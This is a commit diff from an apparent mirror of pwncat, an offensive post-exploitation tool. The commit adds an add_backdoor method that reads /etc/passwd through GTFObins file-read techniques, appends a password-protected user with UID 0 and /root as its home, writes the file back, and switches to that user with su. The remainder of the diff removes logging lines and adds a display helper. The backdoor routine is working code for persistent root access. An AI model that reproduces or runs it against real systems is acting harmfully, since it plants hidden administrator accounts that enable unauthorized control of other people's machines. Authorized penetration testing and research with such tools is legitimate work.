mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added add_backdor method to the privesc finder to fix EUID issues after SUID escalation
This commit is contained in:
parent
ec2711a086
commit
02db34379c
@ -5,6 +5,7 @@ import crypt
|
|||||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||||
from pwncat.privesc.setuid import SetuidMethod
|
from pwncat.privesc.setuid import SetuidMethod
|
||||||
from pwncat.privesc.sudo import SudoMethod
|
from pwncat.privesc.sudo import SudoMethod
|
||||||
|
from pwncat import downloader
|
||||||
from pwncat import gtfobins
|
from pwncat import gtfobins
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
|
|
||||||
@ -72,6 +73,54 @@ class Finder:
|
|||||||
|
|
||||||
return techniques
|
return techniques
|
||||||
|
|
||||||
|
def add_backdoor(self):
|
||||||
|
""" Add the backdoor user if it doesn't already exist. This is normally
|
||||||
|
called in order to solidify full UID=0 access (e.g. when SUID binaries
|
||||||
|
yield a EUID=0 but UID!=0. """
|
||||||
|
|
||||||
|
self.pty.reload_users()
|
||||||
|
|
||||||
|
if self.backdoor_user_name not in self.pty.users:
|
||||||
|
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||||
|
if binary is None:
|
||||||
|
raise PrivescError("no file read methods available from gtfobins")
|
||||||
|
|
||||||
|
# Read the etc/passwd file
|
||||||
|
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
|
||||||
|
data = passwd.read()
|
||||||
|
passwd.close()
|
||||||
|
|
||||||
|
# Split up the file by lines
|
||||||
|
data = data.decode("utf-8").strip()
|
||||||
|
data = data.split("\n")
|
||||||
|
|
||||||
|
# Add a new user
|
||||||
|
password = crypt.crypt(self.backdoor_password)
|
||||||
|
user = self.backdoor_user_name
|
||||||
|
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
|
||||||
|
|
||||||
|
# Prepare data for transmission
|
||||||
|
data = ("\n".join(data) + "\n").encode("utf-8")
|
||||||
|
|
||||||
|
# Find a GTFObins payload that works
|
||||||
|
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
|
||||||
|
if binary is None:
|
||||||
|
raise PrivescError("no file write methods available from gtfobins")
|
||||||
|
|
||||||
|
# Write the file
|
||||||
|
self.pty.run(binary.write_file("/etc/passwd", data))
|
||||||
|
|
||||||
|
# Stabilize output after the file write
|
||||||
|
self.pty.run("echo")
|
||||||
|
|
||||||
|
# Reload the /etc/passwd data
|
||||||
|
self.pty.reload_users()
|
||||||
|
|
||||||
|
if self.backdoor_user_name not in self.pty.users:
|
||||||
|
raise PrivescError("/etc/passwd update failed!")
|
||||||
|
|
||||||
|
self.pty.run(f"su {self.backdoor_user_name}", input=self.backdoor_password)
|
||||||
|
|
||||||
def write_file(
|
def write_file(
|
||||||
self,
|
self,
|
||||||
filename: str,
|
filename: str,
|
||||||
|
@ -123,10 +123,6 @@ class SetuidMethod(Method):
|
|||||||
return read_pipe
|
return read_pipe
|
||||||
|
|
||||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||||
info(
|
|
||||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
|
||||||
)
|
|
||||||
|
|
||||||
binary = technique.ident
|
binary = technique.ident
|
||||||
payload = binary.write_file(filepath, data)
|
payload = binary.write_file(filepath, data)
|
||||||
|
|
||||||
|
@ -262,9 +262,6 @@ class SudoMethod(Method):
|
|||||||
|
|
||||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||||
|
|
||||||
info(
|
|
||||||
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
|
||||||
)
|
|
||||||
binary, sudo_spec, password_required = technique.ident
|
binary, sudo_spec, password_required = technique.ident
|
||||||
|
|
||||||
read_payload = binary.read_file(
|
read_payload = binary.read_file(
|
||||||
@ -280,9 +277,6 @@ class SudoMethod(Method):
|
|||||||
|
|
||||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||||
|
|
||||||
info(
|
|
||||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
|
||||||
)
|
|
||||||
binary, sudo_spec, password_required = technique.ident
|
binary, sudo_spec, password_required = technique.ident
|
||||||
payload = binary.write_file(
|
payload = binary.write_file(
|
||||||
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
|
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
|
||||||
@ -292,3 +286,19 @@ class SudoMethod(Method):
|
|||||||
self.pty.run(
|
self.pty.run(
|
||||||
payload, input=functools.partial(self.send_password, self.pty.current_user),
|
payload, input=functools.partial(self.send_password, self.pty.current_user),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def get_name(self, tech: Technique):
|
||||||
|
""" Get the name of the given technique for display """
|
||||||
|
return (
|
||||||
|
(
|
||||||
|
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
|
||||||
|
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
|
||||||
|
f"({Fore.RED}sudo{Fore.RESET}"
|
||||||
|
)
|
||||||
|
+ (
|
||||||
|
""
|
||||||
|
if tech.ident[2]
|
||||||
|
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
|
||||||
|
)
|
||||||
|
+ ")"
|
||||||
|
)
|
||||||
|
Loading…
Reference in New Issue
Block a user